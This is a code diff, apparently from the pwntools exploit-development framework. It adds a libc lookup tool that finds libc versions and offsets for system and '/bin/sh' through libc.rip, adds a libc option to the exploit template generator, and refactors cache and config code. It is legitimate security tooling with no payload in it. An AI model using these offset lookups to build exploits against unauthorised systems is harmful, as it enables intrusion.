+    help = 'Symbol and offset pairs to lookup matching libc version. Can be any number of pairs to narrow the search. Example: "read 3e0 write 520"'
+)
+
+lookup_parser.add_argument(
+    '--download-libc',
+    action = 'store_true',
+    default = False,
+    help = 'Attempt to download the matching libc.so'
+)
+
+lookup_parser.add_argument(
+    '--unstrip',
+    action = 'store_true',
+    default = True,
+    help = 'Attempt to unstrip the libc binary with debug symbols from a debuginfod server'
+)
+
+lookup_parser.add_argument(
+    '--no-unstrip',
+    action = 'store_false',
+    dest = 'unstrip',
+    help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'
+)
+
+hash_parser = libc_commands.add_parser(
+    'hash',
+    help = 'Display information of a libc version given an unique hash',
+    description = 'Display information of a libc version given an unique hash'
+)
+
+hash_parser.add_argument(
+    'hash_value',
+    metavar = 'hash_value',
+    nargs = '+',
+    help = 'Hex encoded hash value'
+)
+
+hash_parser.add_argument(
+    '-t', '--hash_type',
+    nargs = '?',
+    type = str,
+    choices = ['id', 'buildid', 'md5', 'sha1', 'sha256'],
+    default = 'buildid',
+    help = 'The type of the provided hash value. Supported hashtypes: id, buildid, md5, sha1, sha256'
+)
+
+hash_parser.add_argument(
+    '--download-libc',
+    action = 'store_true',
+    default = False,
+    help = 'Attempt to download the matching libc.so'
+)
+
+hash_parser.add_argument(
+    '--unstrip',
+    action = 'store_true',
+    default = True,
+    help = 'Attempt to unstrip the libc binary with debug symbols from a debuginfod server'
+)
+
+hash_parser.add_argument(
+    '--no-unstrip',
+    action = 'store_false',
+    dest = 'unstrip',
+    help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'
+)
+
+file_parser = libc_commands.add_parser(
+    'file',
+    help = 'Dump information about a libc binary',
+    description = 'Dump information about a libc binary'
+)
+
+file_parser.add_argument(
+    'files',
+    metavar = 'files',
+    nargs = '+',
+    help = 'Libc binary to dump'
+)
+
+file_parser.add_argument(
+    '-s', '--symbols',
+    metavar = 'symbols',
+    nargs = '*',
+    help = 'List of symbol offsets to dump in addition to the common ones'
+)
+
+file_parser.add_argument(
+    '-o', '--offset',
+    metavar = 'offset',
+    type = str,
+    help = 'Display all offsets relative to this symbol'
+)
+
+file_parser.add_argument(
+    '--unstrip',
+    action = 'store_true',
+    default = False,
+    help = 'Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server'
+)
+
+common_symbols = ['dup2', 'printf', 'puts', 'read', 'system', 'write']
+
+def find_libc(params):
+    import requests
+    url    = "https://libc.rip/api/find"
+    result = requests.post(url, json=params, timeout=20)
+    log.debug('Request: %s', params)
+    log.debug('Result: %s', result.json())
+    if result.status_code != 200 or len(result.json()) == 0:
+        log.failure("Could not find libc for %s on libc.rip", params)
+        return []
+
+    return result.json()
+
+def print_libc(libc):
+    log.info('%s', text.red(libc['id']))
+    log.indented('\t%-20s %s', text.green('BuildID:'), libc['buildid'])
+    log.indented('\t%-20s %s', text.green('MD5:'), libc['md5'])
+    log.indented('\t%-20s %s', text.green('SHA1:'), libc['sha1'])
+    log.indented('\t%-20s %s', text.green('SHA256:'), libc['sha256'])
+    log.indented('\t%s', text.green('Symbols:'))
+    for symbol in libc['symbols'].items():
+        log.indented('\t%25s = %s', symbol[0], symbol[1])
+
+def handle_remote_libc(args, libc):
+    print_libc(libc)
+    if args.download_libc:
+        path = libcdb.search_by_build_id(libc['buildid'], args.unstrip)
+        if path:
+            if args.unstrip:
+                libcdb.unstrip_libc(path)
+            shutil.copy(path, './{}.so'.format(libc['id']))
+
+def translate_offset(offs, args, exe):
+    if args.offset:
+        if args.offset not in exe.symbols:
+            log.info_once('offset symbol %s not found. ignoring.', args.offset)
+            return offs
+        return offs - exe.symbols[args.offset]
+    return offs
+
+def collect_synthetic_symbols(exe):
+    available_symbols = ['str_bin_sh']
+    exe.symbols['str_bin_sh'] = next(exe.search(b'/bin/sh\x00'))
+
+    libc_start_main_return = exe.libc_start_main_return
+    if libc_start_main_return > 0:
+        exe.symbols['__libc_start_main_ret'] = libc_start_main_return
+        available_symbols.append('__libc_start_main_ret')
+
+    return available_symbols
+
+def main(args):
+    if len(sys.argv) < 3:
+        parser.print_usage()
+        sys.exit()
+
+    if args.libc_command == 'lookup':
+        pairs = args.symbol_offset_pairs
+        if len(pairs) % 2 != 0:
+            log.failure('Uneven number of arguments. Please provide "symbol offset" pairs')
+            return
+        
+        symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)}
+        matched_libcs = find_libc({'symbols': symbols})
+        for libc in matched_libcs:
+            handle_remote_libc(args, libc)
+
+    elif args.libc_command == 'hash':
+        for hash_value in args.hash_value:
+            matched_libcs = find_libc({args.hash_type: hash_value})
+            for libc in matched_libcs:
+                handle_remote_libc(args, libc)
+
+    elif args.libc_command == 'file':
+        from hashlib import md5, sha1, sha256
+        for file in args.files:
+            if not os.path.exists(file) or not os.path.isfile(file):
+                log.failure('File does not exist %s', args.file)
+                continue
+            
+            if args.unstrip:
+                libcdb.unstrip_libc(file)
+
+            exe = ELF(file, checksec=False)
+            log.info('%s', text.red(os.path.basename(file)))
+
+            libc_version = re.search(b'libc[ -](\d+\.\d+)', exe.data)
+            if libc_version:
+                log.indented('%-20s %s', text.green('Version:'), libc_version.group(1).decode())
+
+            if exe.buildid:
+                log.indented('%-20s %s', text.green('BuildID:'), enhex(exe.buildid))
+            log.indented('%-20s %s', text.green('MD5:'), md5(exe.data).hexdigest())
+            log.indented('%-20s %s', text.green('SHA1:'), sha1(exe.data).hexdigest())
+            log.indented('%-20s %s', text.green('SHA256:'), sha256(exe.data).hexdigest())
+
+            # Always dump the basic list of common symbols
+            log.indented('%s', text.green('Symbols:'))
+            synthetic_symbols = collect_synthetic_symbols(exe)
+
+            symbols = common_symbols + (args.symbols or []) + synthetic_symbols
+            symbols.sort()
+            for symbol in symbols:
+                if symbol not in exe.symbols:
+                    log.indented('%25s = %s', symbol, text.red('not found'))
+                else:
+                    log.indented('%25s = %#x', symbol, translate_offset(exe.symbols[symbol], args, exe))
+
+if __name__ == '__main__':
+    pwnlib.commandline.common.main(__file__)

pwnlib/commandline/main.py

@@ -14,6 +14,7 @@ from pwnlib.commandline import elfdiff
 from pwnlib.commandline import elfpatch
 from pwnlib.commandline import errno
 from pwnlib.commandline import hex
+from pwnlib.commandline import libcdb
 from pwnlib.commandline import phd
 from pwnlib.commandline import pwnstrip
 from pwnlib.commandline import scramble
@@ -37,6 +38,7 @@ commands = {
     'elfpatch': elfpatch.main,
     'errno': errno.main,
     'hex': hex.main,
+    'libcdb': libcdb.main,
     'phd': phd.main,
     'pwnstrip': pwnstrip.main,
     'scramble': scramble.main,

pwnlib/commandline/template.py

@@ -5,7 +5,7 @@ from __future__ import division
 from pwn import *
 from pwnlib.commandline import common
 
-from mako.lookup import TemplateLookup
+from mako.lookup import TemplateLookup, Template
 
 parser = common.parser_commands.add_parser(
     'template',
@@ -13,18 +13,29 @@ parser = common.parser_commands.add_parser(
     description = 'Generate an exploit template'
 )
 
+# change path to hardcoded one when building the documentation
+printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else pwnlib.data.path
+
 parser.add_argument('exe', nargs='?', help='Target binary')
 parser.add_argument('--host', help='Remote host / SSH server')
 parser.add_argument('--port', help='Remote port / SSH port', type=int)
 parser.add_argument('--user', help='SSH Username')
 parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
+parser.add_argument('--libc', help='Path to libc binary to use')
 parser.add_argument('--path', help='Remote path of file on SSH server')
 parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
 parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')
+parser.add_argument('--template', help='Path to a custom template. Tries to use \'~/.config/pwntools/templates/pwnup.mako\', if it exists. '
+                                   'Check \'%s\' for the default template shipped with pwntools.' % 
+                                        os.path.join(printable_data_path, "templates", "pwnup.mako"))
 
 def main(args):
+
     lookup = TemplateLookup(
-        directories      = [os.path.join(pwnlib.data.path, 'templates')],
+        directories      = [
+            os.path.expanduser('~/.config/pwntools/templates/'),
+            os.path.join(pwnlib.data.path, 'templates')
+        ],
         module_directory = None
     )
 
@@ -47,12 +58,18 @@ def main(args):
         if not args.exe:
             args.exe = os.path.basename(args.path)
 
-    template = lookup.get_template('pwnup.mako')
+    
+    if args.template:
+        template = Template(filename=args.template) # Failing on invalid file is ok
+    else:
+        template = lookup.get_template('pwnup.mako')
+    
     output = template.render(args.exe,
                              args.host,
                              args.port,
                              args.user,
                              args.password,
+                             args.libc,
                              args.path,
                              args.quiet)
 
@@ -75,3 +92,4 @@ def main(args):
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)
+    

pwnlib/config.py

@@ -55,8 +55,8 @@ def initialize():
     from pwnlib.log import getLogger
     log = getLogger(__name__)
 
-    xdg_config_home = (os.environ.get('XDG_CONFIG_HOME') or
-                       os.path.expanduser("~/.config"))
+    xdg_config_home = os.environ.get('XDG_CONFIG_HOME',
+                                     os.path.expanduser("~/.config"))
 
     c = configparser.ConfigParser()
     c.read(['/etc/pwn.conf',
@@ -65,7 +65,7 @@ def initialize():
 
     for section in c.sections():
         if section not in registered_configs:
-            log.warn("Unknown configuration section %r" % section)
+            log.warn("Unknown configuration section %r", section)
             continue
         settings = dict(c.items(section))
         registered_configs[section](settings)

pwnlib/context/__init__.py

@@ -6,17 +6,20 @@ contexts work properly and as expected.
 from __future__ import absolute_import
 from __future__ import division
 
+import atexit
 import collections
+import errno
 import functools
 import logging
 import os
+import os.path
 import platform
+import shutil
 import six
 import socket
-import stat
 import string
-import subprocess
 import sys
+import tempfile
 import threading
 import time
 
@@ -345,6 +348,10 @@ class ContextType(object):
         'binary': None,
         'bits': 32,
         'buffer_size': 4096,
+        'cache_dir_base': os.environ.get(
+            'XDG_CACHE_HOME',
+            os.path.join(os.path.expanduser('~'), '.cache')
+        ),
         'cyclic_alphabet': string.ascii_lowercase.encode(),
         'cyclic_size': 4,
         'delete_corefiles': False,
@@ -397,7 +404,8 @@ class ContextType(object):
         'msp430':    little_16,
         'powerpc':   big_32,
         'powerpc64': big_64,
-        'riscv':     little_32,
+        'riscv32':   little_32,
+        'riscv64':   little_64,
         's390':      big_32,
         'sparc':     big_32,
         'sparc64':   big_64,
@@ -762,12 +770,15 @@ class ContextType(object):
         # We have to make sure that x86_64 appears before x86 for this to work correctly.
         transform = [('ppc64', 'powerpc64'),
                      ('ppc', 'powerpc'),
+                     ('x86-64', 'amd64'),
                      ('x86_64', 'amd64'),
                      ('x86', 'i386'),
                      ('i686', 'i386'),
                      ('armv7l', 'arm'),
                      ('armeabi', 'arm'),
-                     ('arm64', 'aarch64')]
+                     ('arm64', 'aarch64'),
+                     ('rv32', 'riscv32'),
+                     ('rv64', 'riscv64')]
         for k, v in transform:
             if arch.startswith(k):
                 arch = v
@@ -972,7 +983,10 @@ class ContextType(object):
         except AttributeError:  pass
 
         # Otherwise, fail
-        level_names = filter(lambda x: isinstance(x,str), logging._levelNames)
+        try:
+            level_names = logging._levelToName.values()
+        except AttributeError:
+            level_names = filter(lambda x: isinstance(x,str), logging._levelNames)
         permitted = sorted(level_names)
         raise AttributeError('log_level must be an integer or one of %r' % permitted)
 
@@ -1269,6 +1283,21 @@ class ContextType(object):
         """
         return int(size)
 
+    @_validator
+    def cache_dir_base(self, new_base):
+        """Base directory to use for caching content.
+
+        Changing this to a different value will clear the `cache_dir` path
+        stored in TLS since a new path will need to be generated to respect the
+        new `cache_dir_base` value.
+        """
+
+        if new_base != self.cache_dir_base:
+            del self._tls["cache_dir"]
+        if os.access(new_base, os.F_OK) and not os.access(new_base, os.W_OK):
+            raise OSError(errno.EPERM, "Cache base dir is not writable")
+        return new_base
+
     @property
     def cache_dir(self):
         """Directory used for caching data.
@@ -1282,32 +1311,59 @@ class ContextType(object):
             >>> cache_dir is not None
             True
             >>> os.chmod(cache_dir, 0o000)
+            >>> del context._tls['cache_dir']
             >>> context.cache_dir is None
             True
             >>> os.chmod(cache_dir, 0o755)
             >>> cache_dir == context.cache_dir
             True
         """
-        xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
-                         os.path.join(os.path.expanduser('~'), '.cache')
+        try:
+            # If the TLS already has a cache directory path, we return it
+            # without any futher checks since it must have been valid when it
+            # was set and if that has changed, hiding the TOCTOU here would be
+            # potentially confusing
+            return self._tls["cache_dir"]
+        except KeyError:
+            pass
 
-        if not os.access(xdg_cache_home, os.W_OK):
+        # Attempt to create a Python version specific cache dir and its parents
+        cache_dirname = '.pwntools-cache-%d.%d' % sys.version_info[:2]
+        cache_dirpath = os.path.join(self.cache_dir_base, cache_dirname)
+        try:
+            os.makedirs(cache_dirpath)
+        except OSError as exc:
+            # If we failed for any reason other than the cache directory
+            # already existing then we'll fall back to a temporary directory
+            # object which doesn't respect the `cache_dir_base`
+            if exc.errno != errno.EEXIST:
+                try:
+                    cache_dirpath = tempfile.mkdtemp(prefix=".pwntools-tmp")
+                except IOError:
+                    # This implies no good candidates for temporary files so we
+                    # have to return `None`
+                    return None
+                else:
+                    # Ensure the temporary cache dir is cleaned up on exit. A
+                    # `TemporaryDirectory` would do this better upon garbage
+                    # collection but this is necessary for Python 2 support.
+                    atexit.register(shutil.rmtree, cache_dirpath)
+        # By this time we have a cache directory which exists but we don't know
+        # if it is actually writable. Some wargames e.g. pwnable.kr have
+        # created dummy directories which cannot be modified by the user
+        # account (owned by root).
+        if os.access(cache_dirpath, os.W_OK):
+            # Stash this in TLS for later reuse
+            self._tls["cache_dir"] = cache_dirpath
+            return cache_dirpath
+        else:
             return None
 
-        cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
-
-        if not os.path.exists(cache):
-            try:
-                os.mkdir(cache)
-            except OSError:
-                return None
-
-        # Some wargames e.g. pwnable.kr have created dummy directories
-        # which cannot be modified by the user account (owned by root).
-        if not os.access(cache, os.W_OK):
-            return None
-
-        return cache
+    @cache_dir.setter
+    def cache_dir(self, v):
+        if os.access(v, os.W_OK):
+            # Stash this in TLS for later reuse
+            self._tls["cache_dir"] = v
 
     @_validator
     def delete_corefiles(self, v):
@@ -1394,7 +1450,7 @@ class ContextType(object):
         from pwnlib.tubes.ssh import ssh
 
         if not isinstance(shell, ssh):
-            raise AttributeError("context.ssh_session must be an ssh tube") 
+            raise AttributeError("context.ssh_session must be an ssh tube")
 
         return shell
 

pwnlib/data/crcsums.txt

@@ -1,58 +1,59 @@
 # This file was generated using the command:
-# curl -s 'http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.legend' | sed -nr -e 's@<H3><A NAME="(crc\.cat[^"]*).*@\1@p' -e 's@.*<CODE>(width.*)</CODE>.*@\1@p' | sed '$!N;s/\n/ /' > crcsums.txt
+# curl -s 'https://reveng.sourceforge.io/crc-catalogue/all.htm' | sed -nr -e 's@.*?<A NAME="(crc\.cat[^"]*)">C.*@\1@p' -e 's@.*<CODE>(width=.*)</CODE>.*@\1@p' | sed '$!N;s/\n/ /'
 #
 # At the time of download, that page was available under the GPLv3 license, which can found here:
 # https://www.gnu.org/licenses/gpl.html
 #
+crc.cat.crc-3-gsm width=3  poly=0x3  init=0x0  refin=false  refout=false  xorout=0x7  check=0x4  residue=0x2  name="CRC-3/GSM"
 crc.cat.crc-3-rohc width=3  poly=0x3  init=0x7  refin=true  refout=true  xorout=0x0  check=0x6  residue=0x0  name="CRC-3/ROHC"
-crc.cat-bits.3 width=3  poly=0x3  init=0x0  refin=false  refout=false  xorout=0x7  check=0x4  residue=0x2  name="CRC-3/GSM"
-crc.cat-bits.4 width=4  poly=0x3  init=0xf  refin=false  refout=false  xorout=0xf  check=0xb  residue=0x2  name="CRC-4/INTERLAKEN"
-crc.cat.crc-4-itu width=4  poly=0x3  init=0x0  refin=true  refout=true  xorout=0x0  check=0x7  residue=0x0  name="CRC-4/ITU"
-crc.cat-bits.5 width=5  poly=0x09  init=0x09  refin=false  refout=false  xorout=0x00  check=0x00  residue=0x00  name="CRC-5/EPC"
-crc.cat.crc-5-itu width=5  poly=0x15  init=0x00  refin=true  refout=true  xorout=0x00  check=0x07  residue=0x00  name="CRC-5/ITU"
+crc.cat.crc-4-g-704 width=4  poly=0x3  init=0x0  refin=true  refout=true  xorout=0x0  check=0x7  residue=0x0  name="CRC-4/G-704"
+crc.cat.crc-4-interlaken width=4  poly=0x3  init=0xf  refin=false  refout=false  xorout=0xf  check=0xb  residue=0x2  name="CRC-4/INTERLAKEN"
+crc.cat.crc-5-epc-c1g2 width=5  poly=0x09  init=0x09  refin=false  refout=false  xorout=0x00  check=0x00  residue=0x00  name="CRC-5/EPC-C1G2"
+crc.cat.crc-5-g-704 width=5  poly=0x15  init=0x00  refin=true  refout=true  xorout=0x00  check=0x07  residue=0x00  name="CRC-5/G-704"
 crc.cat.crc-5-usb width=5  poly=0x05  init=0x1f  refin=true  refout=true  xorout=0x1f  check=0x19  residue=0x06  name="CRC-5/USB"
-crc.cat-bits.6 width=6  poly=0x27  init=0x3f  refin=false  refout=false  xorout=0x00  check=0x0d  residue=0x00  name="CRC-6/CDMA2000-A"
+crc.cat.crc-6-cdma2000-a width=6  poly=0x27  init=0x3f  refin=false  refout=false  xorout=0x00  check=0x0d  residue=0x00  name="CRC-6/CDMA2000-A"
 crc.cat.crc-6-cdma2000-b width=6  poly=0x07  init=0x3f  refin=false  refout=false  xorout=0x00  check=0x3b  residue=0x00  name="CRC-6/CDMA2000-B"
 crc.cat.crc-6-darc width=6  poly=0x19  init=0x00  refin=true  refout=true  xorout=0x00  check=0x26  residue=0x00  name="CRC-6/DARC"
+crc.cat.crc-6-g-704 width=6  poly=0x03  init=0x00  refin=true  refout=true  xorout=0x00  check=0x06  residue=0x00  name="CRC-6/G-704"
 crc.cat.crc-6-gsm width=6  poly=0x2f  init=0x00  refin=false  refout=false  xorout=0x3f  check=0x13  residue=0x3a  name="CRC-6/GSM"
-crc.cat.crc-6-itu width=6  poly=0x03  init=0x00  refin=true  refout=true  xorout=0x00  check=0x06  residue=0x00  name="CRC-6/ITU"
-crc.cat-bits.7 width=7  poly=0x09  init=0x00  refin=false  refout=false  xorout=0x00  check=0x75  residue=0x00  name="CRC-7"
+crc.cat.crc-7-mmc width=7  poly=0x09  init=0x00  refin=false  refout=false  xorout=0x00  check=0x75  residue=0x00  name="CRC-7/MMC"
 crc.cat.crc-7-rohc width=7  poly=0x4f  init=0x7f  refin=true  refout=true  xorout=0x00  check=0x53  residue=0x00  name="CRC-7/ROHC"
 crc.cat.crc-7-umts width=7  poly=0x45  init=0x00  refin=false  refout=false  xorout=0x00  check=0x61  residue=0x00  name="CRC-7/UMTS"
-crc.cat-bits.8 width=8  poly=0x07  init=0x00  refin=false  refout=false  xorout=0x00  check=0xf4  residue=0x00  name="CRC-8"
 crc.cat.crc-8-autosar width=8  poly=0x2f  init=0xff  refin=false  refout=false  xorout=0xff  check=0xdf  residue=0x42  name="CRC-8/AUTOSAR"
+crc.cat.crc-8-bluetooth width=8  poly=0xa7  init=0x00  refin=true  refout=true  xorout=0x00  check=0x26  residue=0x00  name="CRC-8/BLUETOOTH"
 crc.cat.crc-8-cdma2000 width=8  poly=0x9b  init=0xff  refin=false  refout=false  xorout=0x00  check=0xda  residue=0x00  name="CRC-8/CDMA2000"
 crc.cat.crc-8-darc width=8  poly=0x39  init=0x00  refin=true  refout=true  xorout=0x00  check=0x15  residue=0x00  name="CRC-8/DARC"
 crc.cat.crc-8-dvb-s2 width=8  poly=0xd5  init=0x00  refin=false  refout=false  xorout=0x00  check=0xbc  residue=0x00  name="CRC-8/DVB-S2"
-crc.cat.crc-8-ebu width=8  poly=0x1d  init=0xff  refin=true  refout=true  xorout=0x00  check=0x97  residue=0x00  name="CRC-8/EBU"
 crc.cat.crc-8-gsm-a width=8  poly=0x1d  init=0x00  refin=false  refout=false  xorout=0x00  check=0x37  residue=0x00  name="CRC-8/GSM-A"
 crc.cat.crc-8-gsm-b width=8  poly=0x49  init=0x00  refin=false  refout=false  xorout=0xff  check=0x94  residue=0x53  name="CRC-8/GSM-B"
+crc.cat.crc-8-hitag width=8  poly=0x1d  init=0xff  refin=false  refout=false  xorout=0x00  check=0xb4  residue=0x00  name="CRC-8/HITAG"
+crc.cat.crc-8-i-432-1 width=8  poly=0x07  init=0x00  refin=false  refout=false  xorout=0x55  check=0xa1  residue=0xac  name="CRC-8/I-432-1"
 crc.cat.crc-8-i-code width=8  poly=0x1d  init=0xfd  refin=false  refout=false  xorout=0x00  check=0x7e  residue=0x00  name="CRC-8/I-CODE"
-crc.cat.crc-8-itu width=8  poly=0x07  init=0x00  refin=false  refout=false  xorout=0x55  check=0xa1  residue=0xac  name="CRC-8/ITU"
 crc.cat.crc-8-lte width=8  poly=0x9b  init=0x00  refin=false  refout=false  xorout=0x00  check=0xea  residue=0x00  name="CRC-8/LTE"
-crc.cat.crc-8-maxim width=8  poly=0x31  init=0x00  refin=true  refout=true  xorout=0x00  check=0xa1  residue=0x00  name="CRC-8/MAXIM"
+crc.cat.crc-8-maxim-dow width=8  poly=0x31  init=0x00  refin=true  refout=true  xorout=0x00  check=0xa1  residue=0x00  name="CRC-8/MAXIM-DOW"
+crc.cat.crc-8-mifare-mad width=8  poly=0x1d  init=0xc7  refin=false  refout=false  xorout=0x00  check=0x99  residue=0x00  name="CRC-8/MIFARE-MAD"
+crc.cat.crc-8-nrsc-5 width=8  poly=0x31  init=0xff  refin=false  refout=false  xorout=0x00  check=0xf7  residue=0x00  name="CRC-8/NRSC-5"
 crc.cat.crc-8-opensafety width=8  poly=0x2f  init=0x00  refin=false  refout=false  xorout=0x00  check=0x3e  residue=0x00  name="CRC-8/OPENSAFETY"
 crc.cat.crc-8-rohc width=8  poly=0x07  init=0xff  refin=true  refout=true  xorout=0x00  check=0xd0  residue=0x00  name="CRC-8/ROHC"
 crc.cat.crc-8-sae-j1850 width=8  poly=0x1d  init=0xff  refin=false  refout=false  xorout=0xff  check=0x4b  residue=0xc4  name="CRC-8/SAE-J1850"
-crc.cat.crc-8-wdcma width=8  poly=0x9b  init=0x00  refin=true  refout=true  xorout=0x00  check=0x25  residue=0x00  name="CRC-8/WCDMA"
-crc.cat-bits.10 width=10  poly=0x233  init=0x000  refin=false  refout=false  xorout=0x000  check=0x199  residue=0x000  name="CRC-10"
+crc.cat.crc-8-smbus width=8  poly=0x07  init=0x00  refin=false  refout=false  xorout=0x00  check=0xf4  residue=0x00  name="CRC-8/SMBUS"
+crc.cat.crc-8-tech-3250 width=8  poly=0x1d  init=0xff  refin=true  refout=true  xorout=0x00  check=0x97  residue=0x00  name="CRC-8/TECH-3250"
+crc.cat.crc-8-wcdma width=8  poly=0x9b  init=0x00  refin=true  refout=true  xorout=0x00  check=0x25  residue=0x00  name="CRC-8/WCDMA"
+crc.cat.crc-10-atm width=10  poly=0x233  init=0x000  refin=false  refout=false  xorout=0x000  check=0x199  residue=0x000  name="CRC-10/ATM"
 crc.cat.crc-10-cdma2000 width=10  poly=0x3d9  init=0x3ff  refin=false  refout=false  xorout=0x000  check=0x233  residue=0x000  name="CRC-10/CDMA2000"
 crc.cat.crc-10-gsm width=10  poly=0x175  init=0x000  refin=false  refout=false  xorout=0x3ff  check=0x12a  residue=0x0c6  name="CRC-10/GSM"
-crc.cat-bits.11 width=11  poly=0x385  init=0x01a  refin=false  refout=false  xorout=0x000  check=0x5a3  residue=0x000  name="CRC-11"
+crc.cat.crc-11-flexray width=11  poly=0x385  init=0x01a  refin=false  refout=false  xorout=0x000  check=0x5a3  residue=0x000  name="CRC-11/FLEXRAY"
 crc.cat.crc-11-umts width=11  poly=0x307  init=0x000  refin=false  refout=false  xorout=0x000  check=0x061  residue=0x000  name="CRC-11/UMTS"
-crc.cat-bits.12 width=12  poly=0xf13  init=0xfff  refin=false  refout=false  xorout=0x000  check=0xd4d  residue=0x000  name="CRC-12/CDMA2000"
+crc.cat.crc-12-cdma2000 width=12  poly=0xf13  init=0xfff  refin=false  refout=false  xorout=0x000  check=0xd4d  residue=0x000  name="CRC-12/CDMA2000"
 crc.cat.crc-12-dect width=12  poly=0x80f  init=0x000  refin=false  refout=false  xorout=0x000  check=0xf5b  residue=0x000  name="CRC-12/DECT"
 crc.cat.crc-12-gsm width=12  poly=0xd31  init=0x000  refin=false  refout=false  xorout=0xfff  check=0xb34  residue=0x178  name="CRC-12/GSM"
 crc.cat.crc-12-umts width=12  poly=0x80f  init=0x000  refin=false  refout=true  xorout=0x000  check=0xdaf  residue=0x000  name="CRC-12/UMTS"
-crc.cat-bits.13 width=13  poly=0x1cf5  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x04fa  residue=0x0000  name="CRC-13/BBC"
-crc.cat-bits.14 width=14  poly=0x0805  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x082d  residue=0x0000  name="CRC-14/DARC"
+crc.cat.crc-13-bbc width=13  poly=0x1cf5  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x04fa  residue=0x0000  name="CRC-13/BBC"
+crc.cat.crc-14-darc width=14  poly=0x0805  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x082d  residue=0x0000  name="CRC-14/DARC"
 crc.cat.crc-14-gsm width=14  poly=0x202d  init=0x0000  refin=false  refout=false  xorout=0x3fff  check=0x30ae  residue=0x031e  name="CRC-14/GSM"
-crc.cat-bits.15 width=15  poly=0x4599  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x059e  residue=0x0000  name="CRC-15"
+crc.cat.crc-15-can width=15  poly=0x4599  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x059e  residue=0x0000  name="CRC-15/CAN"
 crc.cat.crc-15-mpt1327 width=15  poly=0x6815  init=0x0000  refin=false  refout=false  xorout=0x0001  check=0x2566  residue=0x6815  name="CRC-15/MPT1327"
-crc.cat-bits.16 width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name="ARC"
-crc.cat.crc-16-aug-ccitt width=16  poly=0x1021  init=0x1d0f  refin=false  refout=false  xorout=0x0000  check=0xe5cc  residue=0x0000  name="CRC-16/AUG-CCITT"
-crc.cat.crc-16-buypass width=16  poly=0x8005  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0xfee8  residue=0x0000  name="CRC-16/BUYPASS"
-crc.cat.crc-16-ccitt-false width=16  poly=0x1021  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x29b1  residue=0x0000  name="CRC-16/CCITT-FALSE"
+crc.cat.crc-16-arc width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name="CRC-16/ARC"
 crc.cat.crc-16-cdma2000 width=16  poly=0xc867  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x4c06  residue=0x0000  name="CRC-16/CDMA2000"
 crc.cat.crc-16-cms width=16  poly=0x8005  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0xaee7  residue=0x0000  name="CRC-16/CMS"
 crc.cat.crc-16-dds-110 width=16  poly=0x8005  init=0x800d  refin=false  refout=false  xorout=0x0000  check=0x9ecf  residue=0x0000  name="CRC-16/DDS-110"
@@ -62,44 +63,55 @@ crc.cat.crc-16-dnp width=16  poly=0x3d65  init=0x0000  refin=true  refout=true
 crc.cat.crc-16-en-13757 width=16  poly=0x3d65  init=0x0000  refin=false  refout=false  xorout=0xffff  check=0xc2b7  residue=0xa366  name="CRC-16/EN-13757"
 crc.cat.crc-16-genibus width=16  poly=0x1021  init=0xffff  refin=false  refout=false  xorout=0xffff  check=0xd64e  residue=0x1d0f  name="CRC-16/GENIBUS"
 crc.cat.crc-16-gsm width=16  poly=0x1021  init=0x0000  refin=false  refout=false  xorout=0xffff  check=0xce3c  residue=0x1d0f  name="CRC-16/GSM"
+crc.cat.crc-16-ibm-3740 width=16  poly=0x1021  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x29b1  residue=0x0000  name="CRC-16/IBM-3740"
+crc.cat.crc-16-ibm-sdlc width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0x906e  residue=0xf0b8  name="CRC-16/IBM-SDLC"
+crc.cat.crc-16-iso-iec-14443-3-a width=16  poly=0x1021  init=0xc6c6  refin=true  refout=true  xorout=0x0000  check=0xbf05  residue=0x0000  name="CRC-16/ISO-IEC-14443-3-A"
+crc.cat.crc-16-kermit width=16  poly=0x1021  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x2189  residue=0x0000  name="CRC-16/KERMIT"
 crc.cat.crc-16-lj1200 width=16  poly=0x6f63  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0xbdf4  residue=0x0000  name="CRC-16/LJ1200"
-crc.cat.crc-16-maxim width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0xffff  check=0x44c2  residue=0xb001  name="CRC-16/MAXIM"
+crc.cat.crc-16-m17 width=16  poly=0x5935  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x772b  residue=0x0000  name="CRC-16/M17"
+crc.cat.crc-16-maxim-dow width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0xffff  check=0x44c2  residue=0xb001  name="CRC-16/MAXIM-DOW"
 crc.cat.crc-16-mcrf4xx width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x6f91  residue=0x0000  name="CRC-16/MCRF4XX"
+crc.cat.crc-16-modbus width=16  poly=0x8005  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x4b37  residue=0x0000  name="CRC-16/MODBUS"
+crc.cat.crc-16-nrsc-5 width=16  poly=0x080b  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0xa066  residue=0x0000  name="CRC-16/NRSC-5"
